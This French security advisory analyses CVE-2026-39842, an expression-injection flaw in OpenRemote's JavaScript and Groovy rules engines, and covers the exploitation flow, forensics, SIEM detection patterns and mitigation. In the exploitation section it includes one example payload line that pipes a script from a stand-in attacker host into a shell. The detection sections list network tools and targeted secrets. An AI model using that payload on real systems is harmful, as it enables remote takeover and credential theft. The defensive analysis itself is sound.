CVE-2026-39842 : Injection d'expression dans la plateforme IoT OpenRemote
Sommaire exécutif (Executive Summary)
Section intitulée « Sommaire exécutif (Executive Summary) »La CVE-2026-39842 identifie une faille grave d’injection d’expression au sein de la plateforme IoT open-source OpenRemote. La vulnérabilité provient d’une implémentation non sécurisée du moteur de règles, où les scripts JavaScript fournis par l’utilisateur sont évalués via ScriptEngine.eval() de Nashorn sans sandboxing ni restriction suffisante.
Bien que le système mette en œuvre certains contrôles d’autorisation, il ne protège pas le chemin d’exécution JavaScript pour les utilisateurs disposant du rôle write:rules. De plus, une défaillance critique dans le moteur de règles Groovy — où le GroovyDenyAllFilter est défini mais non enregistré — désactivement le SandboxTransformer pour les superutilisateurs. Cela crée un scénario à fort impact où un attaquant peut élever ses privilèges, exfiltrer des variables d’environnement sensibles (y compris les identifiants de base de données) et accéder aux données de différents domaines (realms), brisant ainsi l’architecture multi-tenant de la plateforme.
Analyse technique
Section intitulée « Analyse technique »Composant vulnérable : moteur de règles
Section intitulée « Composant vulnérable : moteur de règles »Le cœur de la vulnérabilité réside dans la manière dont OpenRemote gère ses règles d’automatisation. La plateforme permet aux utilisateurs de définir une logique basée sur des événements IoT. Cette logique est traitée par deux moteurs principaux : JavaScript (Nashorn) et Groovy.
Moteur JavaScript Nashorn
Section intitulée « Moteur JavaScript Nashorn »Le moteur JavaScript est le vecteur principal pour les utilisateurs non-superutilisateurs. L’implémentation appelle ScriptEngine.eval() sur l’entrée fournie à RulesResourceImpl. Dans une implémentation sécurisée, cet appel serait encapsulé dans un sandbox restreignant l’accès au ClassLoader Java sous-jacent et empêchant l’instanciation de classes dangereuses (ex: java.lang.Runtime, java.io.File).
Dans les versions affectées (1.21.0 et antérieures), aucune de ces restrictions n’existe. Tout utilisateur disposant du rôle write:rules peut exécuter des méthodes Java arbitraires via JavaScript, facilitant une évasion complète de la logique applicative vers la JVM et l’OS hôte.
Échec de la sandbox Groovy
Section intitulée « Échec de la sandbox Groovy »Pour les superutilisateurs, la plateforme tente d’employer une SandboxTransformer et un GroovyDenyAllFilter. Cependant, l’analyse du code source révèle que l’enregistrement du filtre est commenté.
// Le code d'enregistrement du GroovyDenyAllFilter est commenté dans les versions affectées// filterRegistry.register(new GroovyDenyAllFilter());Comme le filtre n’est jamais enregistré, le Transformer ne s’active pas, permettant aux superutilisateurs (ou à quiconque peut usurper des règles de superutilisateur) de contourner les contraintes prévues.
Flux d’Exploitation
Section intitulée « Flux d’Exploitation »Le processus d’exploitation suit un chemin linéaire allant de l’accès autorisé au contrôle total du système :
- Acquisition de l’accès : l’attaquant obtient ou se voit attribuer le rôle
write:rulesau sein de l’instance OpenRemote. - Construction du payload : l’attaquant crée un ensemble de règles JavaScript. Au lieu d’une logique IoT standard, le payload utilise la réflexion Java ou des appels directs pour exécuter des commandes système.
- Exemple conceptuel de payload :
java.lang.Runtime.getRuntime().exec("curl http://attacker.com/shell | sh")
- Exemple conceptuel de payload :
- Injection : le payload est soumis via l’API des règles à
RulesResourceImpl. - Exécution : le serveur traite la règle et appelle
ScriptEngine.eval(). La JVM exécute le payload malveillant avec les permissions du compte de service OpenRemote. - Élévation de privilèges : étant donné que le service s’exécute souvent avec des privilèges élevés pour gérer le matériel IoT et les configurations système, l’attaquant obtient une exécution au niveau root.
Investigation forensique
Section intitulée « Investigation forensique »Lors de l’investigation d’une compromission impliquant la CVE-2026-39842, les analystes doivent prioriser les artefacts suivants :
Analyse des Logs
Section intitulée « Analyse des Logs »- Logs Applicatifs : inspecter les logs d’OpenRemote pour détecter des erreurs
ScriptEngineinhabituelles ou des traces de pile (stack traces) Java inattendues provenant du moteur de règles. - Logs du Gateway API : rechercher des requêtes
POSTouPUTvers/api/rulesou des endpoints similaires provenant de comptes avec le rôlewrite:rules, particulièrement celles contenant des références à des classes Java (java.lang.*).
Artefacts système
Section intitulée « Artefacts système »- Surveillance des Processus : identifier les processus enfants inattendus de la JVM OpenRemote, tels que
/bin/sh,curl,wgetounc. - Variables d’environnement : rechercher des preuves de vol de variables d’environnement. Les attaquants ciblent généralement
DB_PASSWORD,SECRET_KEYet les identifiants de fournisseurs cloud. - Système de fichiers : rechercher des fichiers non autorisés dans
/tmpou dans les répertoires web-root utilisés comme zones de transit pour des web shells.
- Extraire toutes les règles créées au cours des 30 derniers jours depuis la base de données.
- Scanner les règles pour les mots-clés :
Runtime,ProcessBuilder,eval, etgetClass. - Corréler l’heure de création des règles avec l’apparition de connexions réseau sortantes suspectes.
- Vérifier l’intégrité de
RulesResourceImpl.classpour s’assurer qu’aucun patch permanent ou backdoor n’a été installé.
Détection
Section intitulée « Détection »Détection SIEM (Style Sigma)
Section intitulée « Détection SIEM (Style Sigma) »Logique de détection : surveiller la création de règles contenant des mots-clés d’exécution spécifiques à Java.
- Event ID : Log Applicatif / Log API
- Champ :
request_bodyourule_content - Pattern :
(java.lang.Runtime|ProcessBuilder|java.util.Scanner)
Requête de Threat Hunting (ELK/Splunk)
Section intitulée « Requête de Threat Hunting (ELK/Splunk) »index=openremote_logs| search "write:rules" AND ("java.lang.Runtime" OR "exec")| table _time, user, source_ip, request_payloadAtténuation
Section intitulée « Atténuation »Remédiation immédiate
Section intitulée « Remédiation immédiate »- Mise à jour : mettre à jour OpenRemote vers la version 1.22.0 immédiatement. Cette version restaure les filtres de sécurité et implémente un sandboxing approprié pour le moteur JavaScript.
Mesures de durcissement
Section intitulée « Mesures de durcissement »- Audit des rôles : examiner tous les utilisateurs assignés au rôle
write:rules. Appliquer le principe du moindre privilège (PoLP). - Sandboxing JVM : si la mise à jour est impossible immédiatement, exécuter la JVM OpenRemote avec une politique restrictive du Java Security Manager pour bloquer
java.io.FilePermissionetjava.lang.RuntimePermission. - Segmentation réseau : isoler le serveur OpenRemote du réseau interne pour empêcher l’attaquant d’utiliser l’hôte compromis comme point de pivot.
- Détails officiels NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- Avis de sécurité GitHub : https://github.com/openremote/openremote/security/advisories/GHSA-7mqr-33rv-p3mp
- Release OpenRemote 1.22.0 : https://github.com/openremote/openremote/releases/tag/1.22.0